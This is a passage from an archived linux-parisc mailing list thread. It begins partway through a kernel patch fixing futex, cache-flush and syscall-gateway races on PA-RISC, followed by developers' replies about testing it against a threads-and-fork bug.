+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -113,11 +114,20 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return page_address(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
 #endif
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0c705c3..7bc963e 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 {
 	int err = 0;
 	int uval;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
+	_atomic_spin_lock_irqsave_user(uaddr, flags);
+
 	err = get_user(uval, uaddr);
-	if (err) return -EFAULT;
-	if (uval == oldval)
-		err = put_user(newval, uaddr);
+	if (!err)
+		if (uval == oldval)
+			err = put_user(newval, uaddr);
+
+	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
+
 	if (err) return -EFAULT;
 	return uval;
 }
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..53ba987 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -14,6 +14,7 @@
 #include <linux/bitops.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
@@ -456,17 +457,22 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
 #ifdef CONFIG_SMP
 	unsigned long new, old;
+#endif
+	pte_t old_pte = *ptep;
+
+	if (pte_dirty(old_pte))
+		flush_cache_page(vma, addr, pte_pfn(old_pte));
 
+#ifdef CONFIG_SMP
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
 #else
-	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 #endif
 }
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index d91357b..4653c77 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..b2f35b2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -137,6 +137,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -225,6 +226,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
@@ -290,5 +292,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..a7e9472 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -605,7 +579,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot
@@ -758,6 +732,10 @@ ENTRY(__kernel_thread)
 
 	STREG	%r22, PT_GR22(%r1)	/* save r22 (arg5) */
 	copy	%r0, %r22		/* user_tid */
+	copy	%r0, %r21		/* child_tid */
+#else
+	stw	%r0, -52(%r30)	     	/* user_tid */
+	stw	%r0, -56(%r30)	     	/* child_tid */
 #endif
 	STREG	%r26, PT_GR26(%r1)  /* Store function & argument for child */
 	STREG	%r25, PT_GR25(%r1)
@@ -765,7 +743,7 @@ ENTRY(__kernel_thread)
 	ldo	CLONE_VM(%r26), %r26   /* Force CLONE_VM since only init_mm */
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
-	stw	%r0, -52(%r30)	     	/* user_tid */
+	ldi	0, %r23			/* child_stack_size */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
@@ -972,7 +950,10 @@ intr_check_sig:
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
-	b,n	intr_check_sig
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 intr_restore:
 	copy            %r16,%r29
@@ -997,13 +978,6 @@ intr_restore:
 
 	rfi
 	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
 
 #ifndef CONFIG_PREEMPT
 # define intr_do_preempt	intr_restore
@@ -1026,14 +1000,12 @@ intr_do_resched:
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	ldil	L%intr_check_sig, %r2
-#ifndef CONFIG_64BIT
-	b	schedule
-#else
-	load32	schedule, %r20
-	bv	%r0(%r20)
-#endif
-	ldo	R%intr_check_sig(%r2), %r2
+	BL	schedule,%r2
+	nop
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 	/* preempt the current task on returning to kernel
 	 * mode from an interrupt, iff need_resched is set,
@@ -1772,9 +1744,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1804,7 +1776,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1823,8 +1795,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1847,7 +1820,9 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
@@ -2076,9 +2051,10 @@ syscall_restore:
 	LDREG	TASK_PT_GR31(%r1),%r31	   /* restore syscall rp */
 
 	/* NOTE: We use rsm/ssm pair to make this operation atomic */
+	LDREG   TASK_PT_GR30(%r1),%r1              /* Get user sp */
 	rsm     PSW_SM_I, %r0
-	LDREG   TASK_PT_GR30(%r1),%r30             /* restore user sp */
-	mfsp	%sr3,%r1			   /* Get users space id */
+	copy    %r1,%r30                           /* Restore user sp */
+	mfsp    %sr3,%r1                           /* Get user space id */
 	mtsp    %r1,%sr7                           /* Restore sr7 */
 	ssm     PSW_SM_I, %r0
 
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..84b3239 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +128,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..68e75ce 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -442,7 +438,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	
@@ -529,7 +525,6 @@ lws_compare_and_swap32:
 #endif
 
 lws_compare_and_swap:
-#ifdef CONFIG_SMP
 	/* Load start of lock table */
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
@@ -572,8 +567,6 @@ cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
-#endif
-/* CONFIG_SMP */
 
 	/*
 		prev = *addr;
@@ -601,13 +594,11 @@ cas_action:
 1:	ldw	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
 2:	stw	%r24, 0(%sr3,%r26)
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	/* Return to userspace, set no error */
 	b	lws_exit
@@ -615,12 +606,10 @@ cas_action:
 
 3:		
 	/* Error occured on load or store */
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
@@ -672,7 +661,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
@@ -694,8 +682,6 @@ ENTRY(lws_lock_start)
 	.endr
 END(lws_lock_start)
 	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
 
 .end
 
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 353963d..bae6a86 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -15,6 +15,9 @@
 arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
 	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
 };
+arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
+};
 #endif
 
 #ifdef CONFIG_64BIT
diff --git a/kernel/fork.c b/kernel/fork.c
index f88bd98..108b1ed 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -608,7 +608,10 @@ void mm_release(struct task_struct *tsk, struct mm_struct *mm)
 			 * We don't check the error code - if userspace has
 			 * not set up a proper pointer then tough luck.
 			 */
+			unsigned long flags;
+			_atomic_spin_lock_irqsave_user(tsk->clear_child_tid, flags);
 			put_user(0, tsk->clear_child_tid);
+			_atomic_spin_unlock_irqrestore_user(tsk->clear_child_tid, flags);
 			sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
 					1, NULL, NULL, 0);
 		}
@@ -1432,8 +1435,12 @@ long do_fork(unsigned long clone_flags,
 
 		nr = task_pid_vnr(p);
 
-		if (clone_flags & CLONE_PARENT_SETTID)
+		if (clone_flags & CLONE_PARENT_SETTID) {
+			unsigned long flags;
+			_atomic_spin_lock_irqsave_user(parent_tidptr, flags);
 			put_user(nr, parent_tidptr);
+			_atomic_spin_unlock_irqrestore_user(parent_tidptr, flags);
+		}
 
 		if (clone_flags & CLONE_VFORK) {
 			p->vfork_done = &vfork;
diff --git a/mm/memory.c b/mm/memory.c
index 09e4b1b..21c2916 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	 * in the parent and the child
 	 */
 	if (is_cow_mapping(vm_flags)) {
-		ptep_set_wrprotect(src_mm, addr, src_pte);
+		ptep_set_wrprotect(vma, src_mm, addr, src_pte);
 		pte = pte_wrprotect(pte);
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Thu, 8 Apr 2010 18:44:45 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270766694 8587 80.91.229.12 (8 Apr 2010 22:44:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 8 Apr 2010 22:44:54 +0000 (UTC)
Cc: deller@gmx.de, gniibe@fsij.org, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 09 00:44:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O00Sv-0000p9-PE
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Apr 2010 00:44:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933734Ab0DHWos (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Apr 2010 18:44:48 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3099 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933331Ab0DHWos (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Apr 2010 18:44:48 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 96F294FA3; Thu,  8 Apr 2010 18:44:46 -0400 (EDT)
In-Reply-To: <20100408215453.GA18445@hiauly1.hia.nrc.ca> from "John David Anglin" at Apr 8, 2010 05:54:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2770
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2770>

> On Thu, 08 Apr 2010, Helge Deller wrote:

> > I tested your patch today on one of my machines with plain kernel 2.6.33 (32bit, SMP, B2000 I think).
> > Sadly I still did see the minifail bug.
> > 
> > Are you sure, that the patch fixed this bug for you?
> 
> Seemed to, but I have a bunch of other changes installed.  Possibly,
> the change to cacheflush.h is important.  It affects all PA8000.

I also think the change suggested by James

+       if (pte_dirty(old_pte))

is important for SMP.  With the patch set that I sent, my rp3440 and
gsyprf11 seem reasonably stable running 2.6.33.2 SMP.  I doubt all
problems are solved but things are a lot better than before.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 9 Apr 2010 10:14:33 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca>
	 <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1270822481 19138 80.91.229.12 (9 Apr 2010 14:14:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 9 Apr 2010 14:14:41 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 09 16:14:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0Eyk-0006P3-Ub
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Apr 2010 16:14:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753130Ab0DIOOi convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Apr 2010 10:14:38 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:37150 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752949Ab0DIOOh convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Apr 2010 10:14:37 -0400
Original-Received: by wyb39 with SMTP id 39so443610wyb.19
        for <linux-parisc@vger.kernel.org>; Fri, 09 Apr 2010 07:14:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=2WJJnsDqVp1PlLlGYfTZrc4cgdyjLPJMBCQYXUoKqsw=;
        b=U8l649euIXB6I1d7AgPHlYh046xHMU4l23FHcu9W3POY1BcoOyTfmkSZgl8AvVMANJ
         ysZKzNCf0LtrXO+7KvJDkff+MKsSAT1cGEFWr9Ksf78tXSP/zulN/+r1v1EdINps3qif
         3L7onsFUj4XD9WYeeOiVdIG32GD+GAO6YI5Cs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=rU5iNTCzv7IWFt8wZhlefaZnT0/L/1Ee3mPXqbNxtOnXkks3ifcpq/sKTkYjUaAQC+
         WGD9MrkDf9apuuEoJPdV7sBuQFhg3D++8GGFUz5YwAkZOQKxYZirygVCwfWKko6kvb5E
         iogtDglhKvJHzNhxFsD54TujVG1WGDtEzlIJo=
Original-Received: by 10.216.19.82 with HTTP; Fri, 9 Apr 2010 07:14:33 -0700 (PDT)
In-Reply-To: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: c9bffdfcb45ad03c
Original-Received: by 10.216.85.8 with SMTP id t8mr75261wee.39.1270822473940; Fri, 09 
	Apr 2010 07:14:33 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2771
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2771>

On Thu, Apr 8, 2010 at 6:44 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> On Thu, 08 Apr 2010, Helge Deller wrote:
>
>> > I tested your patch today on one of my machines with plain kernel =
2.6.33 (32bit, SMP, B2000 I think).
>> > Sadly I still did see the minifail bug.
>> >
>> > Are you sure, that the patch fixed this bug for you?
>>
>> Seemed to, but I have a bunch of other changes installed. =A0Possibl=
y,
>> the change to cacheflush.h is important. =A0It affects all PA8000.
>
> I also think the change suggested by James
>
> + =A0 =A0 =A0 if (pte_dirty(old_pte))
>
> is important for SMP. =A0With the patch set that I sent, my rp3440 an=
d
> gsyprf11 seem reasonably stable running 2.6.33.2 SMP. =A0I doubt all
> problems are solved but things are a lot better than before.

I have trimmed the CC a bit.

We need to start splitting up your giant "stability" patch into
manageable chunks.

=46or example, are the futex fixes anywhere for Kyle to pickup?

I could test those independently and submit to Kyle after testing.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 9 Apr 2010 11:13:31 -0400
Organization: nrc.ca
Lines: 37
Approved: news@gmane.org
Message-ID: <20100409151330.GA23889@hiauly1.hia.nrc.ca>
